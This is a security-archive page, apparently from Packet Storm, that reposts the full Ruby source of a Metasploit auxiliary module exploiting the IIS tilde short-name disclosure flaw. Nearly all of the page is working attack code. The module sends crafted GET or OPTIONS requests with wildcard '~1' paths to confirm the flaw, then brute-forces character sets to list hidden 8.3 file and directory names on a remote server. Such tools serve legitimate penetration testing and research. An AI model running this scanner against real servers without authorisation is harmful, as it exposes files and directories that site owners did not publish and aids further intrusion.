what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft IIS Shortname Scanner

Microsoft IIS Shortname Scanner
Posted Sep 1, 2024
Authored by Soroush Dalili, egre55, MinatoTW, Ali Abbasnejad | Site metasploit.com

The vulnerability is caused by a tilde character "~" in a GET or OPTIONS request, which could allow remote attackers to disclose 8.3 filenames (short names). In 2010, Soroush Dalili and Ali Abbasnejad discovered the original bug (GET request). This was publicly disclosed in 2012. In 2014, Soroush Dalili discovered that newer IIS installations are vulnerable with OPTIONS.

tags | exploit, remote
SHA-256 | c2c9b14cdb1063f52d66445d57e8c716ba76df1d1393a1bdd2559d0ffd10e0bf

Microsoft IIS Shortname Scanner

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Rex::Proto::Http

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft IIS shortname vulnerability scanner',
'Description' => %q{
The vulnerability is caused by a tilde character "~" in a GET or OPTIONS request, which
could allow remote attackers to disclose 8.3 filenames (short names). In 2010, Soroush Dalili
and Ali Abbasnejad discovered the original bug (GET request). This was publicly disclosed in
2012. In 2014, Soroush Dalili discovered that newer IIS installations are vulnerable with OPTIONS.
},
'Author' =>
[
'Soroush Dalili', # Vulnerability discovery
'Ali Abbasnejad', # Vulnerability discovery
'MinatoTW <shaks19jais[at]gmail.com>', # Metasploit module
'egre55 <ianaustin[at]protonmail.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://soroush.secproject.com/blog/tag/iis-tilde-vulnerability/' ],
[ 'URL', 'https://support.detectify.com/customer/portal/articles/1711520-microsoft-iis-tilde-vulnerability' ]
]
)
)

register_options([
Opt::RPORT(80),
OptString.new('PATH', [ true, "The base path to start scanning from", "/" ]),
OptInt.new('THREADS', [ true, "Number of threads to use", 20])
])
@dirs = []
@files = []
@threads = []
@queue = Queue.new
@queue_ext = Queue.new
@alpha = 'abcdefghijklmnopqrstuvwxyz0123456789!#$%&\'()-@^_`{}'
@charset_names = []
@charset_extensions = []
@charset_duplicates = []
@verb = ""
@name_size= 6
@path = ""
end

def check
is_vul ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
rescue Rex::ConnectionError
print_bad("Failed to connect to target")
end

def is_vul
@path = datastore['PATH']
for method in ['GET', 'OPTIONS']
# Check for existing file
res1 = send_request_cgi({
'uri' => normalize_uri(@path, '*~1*'),
'method' => method
})

# Check for non-existing file
res2 = send_request_cgi({
'uri' => normalize_uri(@path,'QYKWO*~1*'),
'method' => method
})

if res1 && res1.code == 404 && res2 && res2.code != 404
@verb = method
return true
end
end
return false
rescue Rex::ConnectionError
print_bad("Failed to connect to target")
end

def get_status(f , digit , match)
# Get response code for a file/folder
res2 = send_request_cgi({
'uri' => normalize_uri(@path,"#{f}#{match}~#{digit}#{match}"),
'method' => @verb
})
return res2.code
rescue NoMethodError
print_error("Unable to connect to #{datastore['RHOST']}")
end

def get_incomplete_status(url, match, digit , ext)
# Check if the file/folder name is more than 6 by using wildcards
res2 = send_request_cgi({
'uri' => normalize_uri(@path,"#{url}#{match}~#{digit}.#{ext}*"),
'method' => @verb
})
return res2.code
rescue NoMethodError
print_error("Unable to connect to #{datastore['RHOST']}")
end

def get_complete_status(url, digit , ext)
# Check if the file/folder name is less than 6 and complete
res2 = send_request_cgi({
'uri' => normalize_uri(@path,"#{url}*~#{digit}.#{ext}"),
'method' => @verb
})
return res2.code
rescue NoMethodError
print_error("Unable to connect to #{datastore['RHOST']}")
end

def scanner
while !@queue_ext.empty?
f = @queue_ext.pop
url = f.split(':')[0]
ext = f.split(':')[1]
# Split string into name and extension and check status
status = get_incomplete_status(url, "*" , "1" , ext)
next unless status == 404
next unless ext.size <= 3

@charset_duplicates.each do |x|
if get_complete_status(url, x , ext) == 404
@files << "#{url}*~#{x}.#{ext}*"
end
end

if ext.size < 3
for c in @charset_extensions
@queue_ext << (f + c )
end
end
end
end

def scan
while !@queue.empty?
url = @queue.pop
status = get_status(url , "1" , "*")
# Check strings only upto 6 chars in length
next unless status == 404
if url.size == @name_size
@charset_duplicates.each do |x|
if get_status(url , x , "") == 404
@dirs << "#{url}*~#{x}"
end
end
# If a url exists then add to new queue for extension scan
for ext in @charset_extensions
@queue_ext << ( url + ':' + ext )
@threads << framework.threads.spawn("scanner", false) { scanner }
end
else
@charset_duplicates.each do |x|
if get_complete_status(url, x , "") == 404
@dirs << "#{url}*~#{x}"
break
end
end
if get_incomplete_status(url, "" , "1" , "") == 404
for ext in @charset_extensions
@queue_ext << ( url + ':' + ext )
@threads << framework.threads.spawn("scanner", false) { scanner }
end
elsif url.size < @name_size
for c in @charset_names
@queue <<(url +c)
end
end
end
end
end

def reduce
# Reduce the total charset for filenames by checking if a character exists in any of the files
for c in @alpha.chars
res = send_request_cgi({
'uri' => normalize_uri(@path,"*#{c}*~1*"),
'method' => @verb
})
if res && res.code == 404
@charset_names << c
end
end
end

def ext
# Reduce the total charset for extensions by checking if a character exists in any of the extensions
for c in @alpha.chars
res = send_request_cgi({
'uri' => normalize_uri(@path,"*~1.*#{c}*"),
'method' => @verb
})
if res && res.code == 404
@charset_extensions << c
end
end
end

def dup
# Reduce the total charset for duplicate files/folders
array = [*('1'..'9')]
array.each do |c|
res = send_request_cgi({
'uri' => normalize_uri(@path,"*~#{c}.*"),
'method' => @verb
})
if res && res.code == 404
@charset_duplicates << c
end
end
end

def run
unless is_vul
print_status("Target is not vulnerable, or no shortname scannable files are present.")
return
end
unless @path.end_with? '/'
@path += '/'
end
print_status("Scanning in progress...")
@threads << framework.threads.spawn("reduce_names",false) { reduce }
@threads << framework.threads.spawn("reduce_duplicates",false) { dup }
@threads << framework.threads.spawn("reduce_extensions",false) { ext }
@threads.each(&:join)

for c in @charset_names
@queue << c
end

datastore['THREADS'].times {
@threads << framework.threads.spawn("scanner", false) { scan }
}

Rex.sleep(1) until @queue_ext.empty?

@threads.each(&:join)

proto = datastore['SSL'] ? 'https' : 'http'

if @dirs.empty?
print_status("No directories were found")
else
print_good("Found #{@dirs.size} directories")
@dirs.each do |x|
print_good("#{proto}://#{datastore['RHOST']}#{@path}#{x}")
end
end

if @files.empty?
print_status("No files were found")
else
print_good("Found #{@files.size} files")
@files.each do |x|
print_good("#{proto}://#{datastore['RHOST']}#{@path}#{x}")
end
end
end
end

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close